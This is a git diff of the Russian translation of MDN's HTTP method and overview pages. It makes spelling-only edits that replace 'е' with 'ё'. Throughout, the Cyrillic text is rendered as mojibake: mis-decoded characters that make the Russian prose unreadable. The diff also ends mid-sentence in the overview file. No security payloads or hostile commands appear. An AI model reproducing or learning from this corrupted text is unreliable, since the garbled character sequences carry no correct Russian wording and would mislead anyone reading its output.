diff --git a/files/ru/web/http/methods/connect/index.html b/files/ru/web/http/methods/connect/index.html
index 755ffb6f10..21693bb37a 100644
--- a/files/ru/web/http/methods/connect/index.html
+++ b/files/ru/web/http/methods/connect/index.html
@@ -70,7 +70,7 @@ Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre>
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ"><span class="short_text" id="result_box" lang="ru"><span>Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ</span></span></h2>
-<p class="hidden"><span id="result_box" lang="ru"><span>Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ….</span> <span>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</span></span></p>
+<p class="hidden"><span id="result_box" lang="ru"><span>Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ….</span> <span>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</span></span></p>
<p>{{Compat("http.methods.CONNECT")}}</p>
diff --git a/files/ru/web/http/methods/delete/index.html b/files/ru/web/http/methods/delete/index.html
index e263d3c2e0..912bdd96e1 100644
--- a/files/ru/web/http/methods/delete/index.html
+++ b/files/ru/web/http/methods/delete/index.html
@@ -57,7 +57,7 @@ translation_of: Web/HTTP/Methods/DELETE
<p>Если ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>DELETE</code>Β ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ выполняСтся, Ρ‚ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠΎΠ΄Ρ‹ состояния ΠΎΡ‚Π²Π΅Ρ‚Π°:</p>
<ul>
- <li>Β {{HTTPStatus("202")}} (<code>Accepted</code>) ΠΊΠΎΠ΄ состояния, Ссли ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ, Π½ΠΎ Π΅Ρ‰Π΅ Π½Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ.</li>
+ <li>Β {{HTTPStatus("202")}} (<code>Accepted</code>) ΠΊΠΎΠ΄ состояния, Ссли ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ, Π½ΠΎ Π΅Ρ‰Ρ‘ Π½Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ.</li>
<li>Β {{HTTPStatus("204")}} (<code>No Content</code>) ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π°, Ссли ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ Π±Ρ‹Π»ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ, Π½ΠΎ Ρ‚Π΅Π»ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° отсутствуСт.</li>
<li>Β {{HTTPStatus("200")}} (<code>OK</code>) ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π°, Ссли ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ Π±Ρ‹Π»ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ, ΠΈ ΠΎΡ‚Π²Π΅Ρ‚ содСрТит ΠΊΠΎΠ΄ ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ состояниС.</li>
</ul>
diff --git a/files/ru/web/http/methods/options/index.html b/files/ru/web/http/methods/options/index.html
index a6f1d95b77..48dbde81de 100644
--- a/files/ru/web/http/methods/options/index.html
+++ b/files/ru/web/http/methods/options/index.html
@@ -9,7 +9,7 @@ translation_of: Web/HTTP/Methods/OPTIONS
---
<div>{{HTTPSidebar}}</div>
-<p><strong>HTTP-ΠΌΠ΅Ρ‚ΠΎΠ΄</strong><strong>Β <code>OPTIONS</code> </strong>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для описания ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² соСдинСния с Ρ†Π΅Π»Π΅Π²Ρ‹ΠΌ рСсурсом. ΠšΠ»ΠΈΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ особый URL для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° OPTIONS, ΠΈΠ»ΠΈ * (Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΡƒ) Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ вСсь сСрвСр Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ.</p>
+<p><strong>HTTP-ΠΌΠ΅Ρ‚ΠΎΠ΄</strong><strong>Β <code>OPTIONS</code> </strong>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для описания ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² соСдинСния с Ρ†Π΅Π»Π΅Π²Ρ‹ΠΌ рСсурсом. ΠšΠ»ΠΈΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ особый URL для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° OPTIONS, ΠΈΠ»ΠΈ * (Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΡƒ) Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ вСсь сСрвСр Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ.</p>
<table class="properties">
<tbody>
@@ -48,7 +48,7 @@ OPTIONS * HTTP/1.1
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<h3 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ…_сСрвСром_ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²_запроса">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ… сСрвСром мСтодов запроса</h3>
+<h3 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Ρ…_сСрвСром_ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²_запроса">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Ρ… сСрвСром мСтодов запроса</h3>
<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅Β ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ запросов ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ сСрвСром, ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ curl Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΒ OPTIONS запрос:</p>
diff --git a/files/ru/web/http/methods/patch/index.html b/files/ru/web/http/methods/patch/index.html
index bbf8a73ad6..63c8ce82aa 100644
--- a/files/ru/web/http/methods/patch/index.html
+++ b/files/ru/web/http/methods/patch/index.html
@@ -20,7 +20,7 @@ translation_of: Web/HTTP/Methods/PATCH
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ сСрвСр ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ <code>PATCH</code>, ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Π² список Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΎΡ‚Π²Π΅Ρ‚Π° {{HTTPHeader("Allow")}} ΠΈΠ»ΠΈ {{HTTPHeader("Access-Control-Allow-Methods")}} (для CORS).</p>
-<p>Π”Ρ€ΡƒΠ³ΠΎΠΉ (нСявный) ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€, Ρ‡Ρ‚ΠΎ <code>PATCH</code> Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½, являСтся Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{HTTPHeader("Accept-Patch")}}, Π³Π΄Π΅ описано, Π² ΠΊΠ°ΠΊΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ сСрвСр ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹.</p>
+<p>Π”Ρ€ΡƒΠ³ΠΎΠΉ (нСявный) ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€, Ρ‡Ρ‚ΠΎ <code>PATCH</code> Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½, являСтся Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{HTTPHeader("Accept-Patch")}}, Π³Π΄Π΅ описано, Π² ΠΊΠ°ΠΊΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ сСрвСр ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹.</p>
<table class="properties">
<tbody>
diff --git a/files/ru/web/http/methods/post/index.html b/files/ru/web/http/methods/post/index.html
index 5e0778692d..697b705b8f 100644
--- a/files/ru/web/http/methods/post/index.html
+++ b/files/ru/web/http/methods/post/index.html
@@ -11,12 +11,12 @@ translation_of: Web/HTTP/Methods/POST
<p><strong>HTTP-ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>POST</code></strong> ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° сСрвСр. Π’ΠΈΠΏ Ρ‚Π΅Π»Π° запроса указываСтся Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ {{HTTPHeader("Content-Type")}}.</p>
-<p>Π Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ {{HTTPMethod("PUT")}} ΠΈ <code>POST</code> состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ <code>PUT</code> являСтся ΠΈΠ΄Π΅ΠΌΠΏΠΎΡ‚Π΅Π½Ρ‚Π½Ρ‹ΠΌ: ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ΅ Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π΄Π°Π΅Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΈ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ρƒ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π½Π΅Ρ‚ <em>ΠΏΠΎΠ±ΠΎΡ‡Π½Ρ‹Ρ… эффСктов</em>), Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ² ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>POST</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ эффСкты, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Π·Π°ΠΊΠ°Π·Π° нСсколько Ρ€Π°Π·.</p>
+<p>Π Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ {{HTTPMethod("PUT")}} ΠΈ <code>POST</code> состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ <code>PUT</code> являСтся ΠΈΠ΄Π΅ΠΌΠΏΠΎΡ‚Π΅Π½Ρ‚Π½Ρ‹ΠΌ: ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ΅ Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π΄Π°Ρ‘Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΈ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ρƒ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π½Π΅Ρ‚ <em>ΠΏΠΎΠ±ΠΎΡ‡Π½Ρ‹Ρ… эффСктов</em>), Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ² ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>POST</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ эффСкты, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Π·Π°ΠΊΠ°Π·Π° нСсколько Ρ€Π°Π·.</p>
-<p><span id="result_box" lang="ru"><span title="A POST request is typically sent via an HTML form and results in a change on the server.">Запрос <code>POST</code> ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ отправляСтся Ρ‡Π΅Ρ€Π΅Π· Ρ„ΠΎΡ€ΠΌΡƒ HTML ΠΈ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ измСнСнию Π½Π° сСрвСрС. </span><span title="In this case, the content type is selected by putting the adequate string in the enctype attribute of the &lt;form> element or the formenctype attribute of the &lt;input> or &lt;button> elements:">Π’ этом случаС Ρ‚ΠΈΠΏ содСрТимого выбираСтся ΠΏΡƒΡ‚Π΅ΠΌ размСщСния ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ строки Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ {{htmlattrxref ("enctype", "form")}} элСмСнта {{HTMLElement ("form")}} ΠΈΠ»ΠΈ {{htmlattrxref ("formenctype", "input")}} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° элСмСнтов {{HTMLElement ("input")}} ΠΈΠ»ΠΈ {{HTMLElement ("button")}}:</span></span></p>
+<p><span id="result_box" lang="ru"><span title="A POST request is typically sent via an HTML form and results in a change on the server.">Запрос <code>POST</code> ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ отправляСтся Ρ‡Π΅Ρ€Π΅Π· Ρ„ΠΎΡ€ΠΌΡƒ HTML ΠΈ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ измСнСнию Π½Π° сСрвСрС. </span><span title="In this case, the content type is selected by putting the adequate string in the enctype attribute of the &lt;form> element or the formenctype attribute of the &lt;input> or &lt;button> elements:">Π’ этом случаС Ρ‚ΠΈΠΏ содСрТимого выбираСтся ΠΏΡƒΡ‚Ρ‘ΠΌ размСщСния ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ строки Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ {{htmlattrxref ("enctype", "form")}} элСмСнта {{HTMLElement ("form")}} ΠΈΠ»ΠΈ {{htmlattrxref ("formenctype", "input")}} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° элСмСнтов {{HTMLElement ("input")}} ΠΈΠ»ΠΈ {{HTMLElement ("button")}}:</span></span></p>
<ul>
- <li><span title="application/x-www-form-urlencoded: the values are encoded in key-value tuples separated by '&amp;', with a '=' between the key and the value."><code>application/x-www-form-urlencoded</code>: значСния ΠΊΠΎΠ΄ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π² ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠ°Ρ… с ΠΊΠ»ΡŽΡ‡ΠΎΠΌ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… символом <code>'&amp;'</code>, с <code>'='</code>Β ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΡŽΡ‡ΠΎΠΌ ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ. </span><span title="Non-alphanumeric characters are percent encoded: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead)">НС Π±ΡƒΠΊΠ²Π΅Π½Π½ΠΎ-Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π΅ символы - {{glossary ("percent encoded")}}: это ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ этот Ρ‚ΠΈΠΏ Π½Π΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для использования с Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ (вмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>multipart/form-data</code>)</span></li>
+ <li><span title="application/x-www-form-urlencoded: the values are encoded in key-value tuples separated by '&amp;', with a '=' between the key and the value."><code>application/x-www-form-urlencoded</code>: значСния ΠΊΠΎΠ΄ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π² ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠ°Ρ… с ΠΊΠ»ΡŽΡ‡ΠΎΠΌ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… символом <code>'&amp;'</code>, с <code>'='</code>Β ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΡŽΡ‡ΠΎΠΌ ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ. </span><span title="Non-alphanumeric characters are percent encoded: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead)">НС Π±ΡƒΠΊΠ²Π΅Π½Π½ΠΎ-Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π΅ символы - {{glossary ("percent encoded")}}: это ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ этот Ρ‚ΠΈΠΏ Π½Π΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для использования с Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ (вмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>multipart/form-data</code>)</span></li>
<li><code><span title="multipart/form-data">multipart/form-data</span></code>: ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ посылаСтся ΠΊΠ°ΠΊ Π±Π»ΠΎΠΊ Π΄Π°Π½Π½Ρ‹Ρ… ("body part"), с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅Π»Π΅ΠΌ ("boundary"), Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΌ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ. Π­Ρ‚ΠΈ ΠΊΠ»ΡŽΡ‡ΠΈ Π΄Π°ΡŽΡ‚ΡΡ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ <code>Content-Disposition</code> ΠΊΠ°ΠΆΠ΄ΠΎΠΉ части</li>
<li><code><span title="text/plain">text/plain</span></code></li>
</ul>
diff --git a/files/ru/web/http/methods/put/index.html b/files/ru/web/http/methods/put/index.html
index c759172730..60a1d0df58 100644
--- a/files/ru/web/http/methods/put/index.html
+++ b/files/ru/web/http/methods/put/index.html
@@ -10,7 +10,7 @@ translation_of: Web/HTTP/Methods/PUT
---
<div>{{HTTPSidebar}}</div>
-<div><strong>ΠœΠ΅Ρ‚ΠΎΠ΄ запроса HTTP PUT</strong> создаСт Π½ΠΎΠ²Ρ‹ΠΉ рСсурс ΠΈΠ»ΠΈ замСняСт прСдставлСниС Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ рСсурса, Π΄Π°Π½Π½Ρ‹ΠΌΠΈ прСдставлСнными Π² Ρ‚Π΅Π»Π΅ запроса.</div>
+<div><strong>ΠœΠ΅Ρ‚ΠΎΠ΄ запроса HTTP PUT</strong> создаёт Π½ΠΎΠ²Ρ‹ΠΉ рСсурс ΠΈΠ»ΠΈ замСняСт прСдставлСниС Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ рСсурса, Π΄Π°Π½Π½Ρ‹ΠΌΠΈ прСдставлСнными Π² Ρ‚Π΅Π»Π΅ запроса.</div>
<div></div>
@@ -63,7 +63,7 @@ Content-length: 16
<h3 id="ΠžΡ‚Π²Π΅Ρ‚">ΠžΡ‚Π²Π΅Ρ‚</h3>
-<p>Если Ρ†Π΅Π»Π΅Π²ΠΎΠΉ рСсурс Π½Π΅ содСрТит отправляСмой сущности ΠΈ <code>PUT</code> запрос создаСт Π΅Π΅, Ρ‚ΠΎ сСрвСр Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΡΠΊΠΎΠ΅Β ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎ создании, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ² Π² ΠΎΡ‚Π²Π΅Ρ‚ {{HTTPStatus("201")}} (<code>Created</code>).</p>
+<p>Если Ρ†Π΅Π»Π΅Π²ΠΎΠΉ рСсурс Π½Π΅ содСрТит отправляСмой сущности ΠΈ <code>PUT</code> запрос создаёт Π΅Ρ‘, Ρ‚ΠΎ сСрвСр Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΡΠΊΠΎΠ΅Β ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎ создании, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ² Π² ΠΎΡ‚Π²Π΅Ρ‚ {{HTTPStatus("201")}} (<code>Created</code>).</p>
<pre class="newpage">HTTP/1.1 201 Created
Content-Location: /new.html
diff --git a/files/ru/web/http/overview/index.html b/files/ru/web/http/overview/index.html
index e4b79afce4..28144e2bc7 100644
--- a/files/ru/web/http/overview/index.html
+++ b/files/ru/web/http/overview/index.html
@@ -16,7 +16,7 @@ translation_of: Web/HTTP/Overview
<p>ΠšΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ ΠΈ сСрвСры Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚, обмСниваясь ΠΎΠ΄ΠΈΠ½ΠΎΡ‡Π½Ρ‹ΠΌΠΈ сообщСниями (Π° Π½Π΅ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ Π΄Π°Π½Π½Ρ‹Ρ…). БообщСния, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <em>запросами</em>, Π° сообщСния, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ сСрвСром, Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <em>ΠΎΡ‚Π²Π΅Ρ‚Π°ΠΌΠΈ</em>.</p>
-<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&amp;%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Π₯отя HTTP Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Β  Π΅Ρ‰Π΅ Π² Π½Π°Ρ‡Π°Π»Π΅ 1990-Ρ… Π³ΠΎΠ΄ΠΎΠ², Π·Π° счСт своСй Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΠΎΡΡ‚ΠΈ Π² дальнСйшСм ΠΎΠ½ всС врСмя 